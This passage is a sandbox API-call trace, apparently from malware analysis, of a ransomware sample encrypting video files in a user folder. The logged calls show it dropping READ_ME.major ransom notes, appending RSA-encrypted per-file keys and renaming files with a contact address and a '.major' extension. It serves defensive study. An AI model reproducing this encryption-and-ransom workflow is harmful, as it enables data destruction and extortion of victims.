dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0156.362] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe214c1c0, ftCreationTime.dwHighDateTime=0x1d4cb8f, ftLastAccessTime.dwLowDateTime=0x7867d420, ftLastAccessTime.dwHighDateTime=0x1d4cff3, ftLastWriteTime.dwLowDateTime=0x7867d420, ftLastWriteTime.dwHighDateTime=0x1d4cff3, nFileSizeHigh=0x0, nFileSizeLow=0xfc5e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="xLetOkh7v.flv", cAlternateFileName="XLETOK~1.FLV")) returned 1 [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.362] GetLastError () returned 0x0 [0156.362] SetLastError (dwErrCode=0x0) [0156.362] GetLastError () returned 0x0 [0156.362] SetLastError (dwErrCode=0x0) [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0156.362] GetLastError () returned 0x0 [0156.362] SetLastError (dwErrCode=0x0) [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0156.362] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21510, ftCreationTime.dwHighDateTime=0x1d4ca83, ftLastAccessTime.dwLowDateTime=0x263c3c70, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x263c3c70, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="YqJBnk1IxCci", cAlternateFileName="YQJBNK~1")) returned 1 [0156.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.362] GetLastError () returned 0x0 [0156.362] SetLastError (dwErrCode=0x0) [0156.362] GetLastError () returned 0x0 [0156.362] SetLastError (dwErrCode=0x0) [0156.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0156.363] GetLastError () returned 0x0 [0156.363] SetLastError (dwErrCode=0x0) [0156.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0156.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0156.363] GetLastError () returned 0x0 [0156.363] SetLastError (dwErrCode=0x0) [0156.363] GetLastError () returned 0x0 [0156.363] SetLastError (dwErrCode=0x0) [0156.363] GetLastError () returned 0x0 [0156.363] SetLastError (dwErrCode=0x0) [0156.363] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.365] WriteFile (in: hFile=0x6e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.366] CloseHandle (hObject=0x6e4) returned 1 [0156.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0156.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0156.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0156.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.366] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63955540, ftCreationTime.dwHighDateTime=0x1d4d110, ftLastAccessTime.dwLowDateTime=0x6187a70, ftLastAccessTime.dwHighDateTime=0x1d4c993, ftLastWriteTime.dwLowDateTime=0x6187a70, ftLastWriteTime.dwHighDateTime=0x1d4c993, nFileSizeHigh=0x0, nFileSizeLow=0x99e8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="z1xnG6st5c64hrVyhgb8.flv", cAlternateFileName="Z1XNG6~1.FLV")) returned 1 [0156.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0156.366] GetLastError () returned 0x0 [0156.366] SetLastError (dwErrCode=0x0) [0156.366] GetLastError () returned 0x0 [0156.366] SetLastError (dwErrCode=0x0) [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0156.367] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a9770, ftCreationTime.dwHighDateTime=0x1d4d4c3, ftLastAccessTime.dwLowDateTime=0xb214b300, ftLastAccessTime.dwHighDateTime=0x1d4d4e4, ftLastWriteTime.dwLowDateTime=0xb214b300, ftLastWriteTime.dwHighDateTime=0x1d4d4e4, nFileSizeHigh=0x0, nFileSizeLow=0xe6c6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zxDuBr.flv", cAlternateFileName="")) returned 1 [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.367] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e582a40, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0x6305c370, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0x6305c370, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x9329, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_vYI7VgRJ5MJC.mp4", cAlternateFileName="_VYI7V~1.MP4")) returned 1 [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0156.367] GetLastError () returned 0x0 [0156.367] SetLastError (dwErrCode=0x0) [0156.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.367] FindNextFileW (in: hFindFile=0x631380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e582a40, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0x6305c370, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0x6305c370, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x9329, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_vYI7VgRJ5MJC.mp4", cAlternateFileName="_VYI7V~1.MP4")) returned 0 [0156.367] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.368] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\_vYI7VgRJ5MJC.mp4", dwFileAttributes=0x80) returned 1 [0156.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0156.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\_vYI7VgRJ5MJC.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\_vyi7vgrj5mjc.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.368] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37673) returned 1 [0156.368] ReadFile (in: hFile=0x6e4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x9329, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x9329, lpOverlapped=0x0) returned 1 [0156.370] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-37673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.370] WriteFile (in: hFile=0x6e4, lpBuffer=0x65cbe8*, nNumberOfBytesToWrite=0x9329, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65cbe8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9329, lpOverlapped=0x0) returned 1 [0156.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cbe8 | out: hHeap=0x570000) returned 1 [0156.370] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9329 [0156.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.370] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.371] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.371] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="llogYDSpKj4LSozWNA18ip2/6yON58P07MHDP0GoXSLlgZsZH3q2rPrvCskcahJt\nmbbxZnyGb6Tk5fdkHZhHfMqvr2LTwAFkOisiLBpzNZgoe9isOALthExhudzkDGg3\n7qxJD1w6DCIO4rwdTp7Exxwb174kZDTk5SaxMuNH0nzYf5i+RuE7ecZGlmt+Gdn6\n8dmMZLMlzLaqG+GtA39agyhuPJBW8BSd3CgPJTEefqupG2I0mtrbwA+5ngib1Gf3\nwk/w5gZaH6Gcyw0+o5CewxA82hLT4aV/B0cyafxnZg4Th0bTRnMreacKXrf1tYfz\nTVbZiRO4nR7xpORszJONdw==\n", pcchString=0x2e3f9a8) returned 1 [0156.371] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.371] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.371] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.371] CloseHandle (hObject=0x6e4) returned 1 [0156.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.371] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\_vYI7VgRJ5MJC.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\_vyi7vgrj5mjc.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\_vYI7VgRJ5MJC.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\_vyi7vgrj5mjc.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e398 | out: hHeap=0x570000) returned 1 [0156.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0156.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0156.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0156.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.420] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.420] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\zxDuBr.flv", dwFileAttributes=0x80) returned 1 [0156.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0156.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0156.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0156.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\zxDuBr.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\zxdubr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.421] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=59078) returned 1 [0156.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe6c6) returned 0x6538b0 [0156.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe6c6) returned 0x2e60f28 [0156.421] ReadFile (in: hFile=0x6e4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xe6c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xe6c6, lpOverlapped=0x0) returned 1 [0156.422] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-59078, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.422] WriteFile (in: hFile=0x6e4, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0xe6c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe6c6, lpOverlapped=0x0) returned 1 [0156.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.423] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe6c6 [0156.423] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.423] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.423] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.423] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.424] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.424] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="MFl87TgBt3xhG+EBebbfrhVM1tnzKVzsD8z1ZAHZoJYkaxKwAM8QbftfcOnWe6x4\nVKGqu6VHNIivItaaw0wbw+EugN7/h2wSJHlDqURabyHYkHEgDQVPloBbYofOwoaY\ntxoKR36Fh3TdGNBdT8pmsfIWFw0Aem3e+e4WyTNMoPIcXGVvm5BM6467yGdPawSK\nPI3Id6Zpgh/eoEGCDx2NVXMNObLRW2GF3761dvhTQg4mghLjKdM2SSRadHu1JtsL\np9hzSfl2fTTlUtHIe7DGEblYUiJLiDB7hYPPhPMpMvnZSeWOWYlAkjmRwIq6APWn\nwdxFASQru4G+WqydjBB2sQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.424] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.424] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.424] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.424] CloseHandle (hObject=0x6e4) returned 1 [0156.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.424] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\zxDuBr.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\zxdubr.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\zxDuBr.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\zxdubr.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0156.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0156.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.426] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\z1xnG6st5c64hrVyhgb8.flv", dwFileAttributes=0x80) returned 1 [0156.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0156.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0156.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\z1xnG6st5c64hrVyhgb8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\z1xng6st5c64hrvyhgb8.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0156.426] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=39400) returned 1 [0156.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x99e8) returned 0x6538b0 [0156.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x99e8) returned 0x65d2a0 [0156.427] ReadFile (in: hFile=0x6e4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x99e8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x99e8, lpOverlapped=0x0) returned 1 [0156.428] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-39400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.428] WriteFile (in: hFile=0x6e4, lpBuffer=0x65d2a0*, nNumberOfBytesToWrite=0x99e8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d2a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x99e8, lpOverlapped=0x0) returned 1 [0156.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x570000) returned 1 [0156.429] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x99e8 [0156.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.429] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.429] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.429] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.429] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.429] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="WEFVqq+17jGbFm0yZ/yOHRPFfwpOZFjbV9h64P2bx0q9uBjldw1QXhq1rP8CT6KG\nHeNYsvi5JFFdbImEOS1zs9+5HnHWmG6lsHLzOTD0cjRPmiLmotm5xzsF8AvEfwWo\nbYB4UP8mYh2iC+MgNQiD6BCsgOXQa7qQXLH9sUVWnxZbH3kfW1fJx1GJunvx/ZYY\nNIxSaSu2lIueT64MqUp/zSMMHsEpHN7qcNRq8nQ1iwxh5i9jVPtFp3s7oCokFgsK\nISSuJFzDtoN/aaA1AfqdgWqhKl/jnmvWCfxe7UaFBS+mz+fzr2XYmHE2i9fZTUsK\nlVBz8sovtYVlDYrU3ECBWA==\n", pcchString=0x2e3f9a8) returned 1 [0156.429] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.429] WriteFile (in: hFile=0x6e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.429] CloseHandle (hObject=0x6e4) returned 1 [0156.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.429] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\z1xnG6st5c64hrVyhgb8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\z1xng6st5c64hrvyhgb8.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\z1xnG6st5c64hrVyhgb8.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\z1xng6st5c64hrvyhgb8.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0156.431] HeapFree 